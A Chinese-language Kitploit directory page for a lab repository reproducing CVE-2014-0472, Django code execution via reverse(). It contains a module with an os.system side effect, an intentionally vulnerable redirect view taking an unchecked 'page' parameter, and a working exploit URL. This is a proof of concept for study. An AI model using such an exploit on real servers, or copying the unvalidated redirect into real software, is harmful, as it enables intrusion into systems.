Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2014-0472 — CVE-2014-0472 Django 使用 reverse() 意外代码执行 | Kitploit
工具/GitHubGitHub/christasa/cve-2014-0472
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubchristasa/cve-2014-0472

CVE-2014-0472

CVE-2014-0472 Django 使用 reverse() 意外代码执行

查看仓库
715年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2014-0472

使用

root@kitploit:~
docker-compose up -d

访问 localhost:8083

参考: https://www.djangoproject.com/weblog/2014/apr/21/security/

  1. 一个或多个视图存在,根据用户输入构造 URL(通常是一个查询字符串中的“next”参数,指示操作成功完成后的重定向位置)。
  2. 一个或多个模块已知攻击者存在于服务器的 Python 导入路径上,这些模块在导入时会执行带有副作用的代码。

在 tests.py 中

root@kitploit:~
def evil_function():
    print("exploit successful")
    os.system("echo > /tmp/`whoami` ")
    return os.getuid()


evil = evil_function()

在 views.py 中

root@kitploit:~
def redirect_test(request):
        page = request.GET.get('page', None)
        if page is not None:
                redirect(page)
        return HttpResponse("OK")

使用重定向函数调用恶意函数

avater

使用 exp

root@kitploit:~
http://your-ip:8083/example?page=app.tests.evil

avater

已利用

avater

下载工具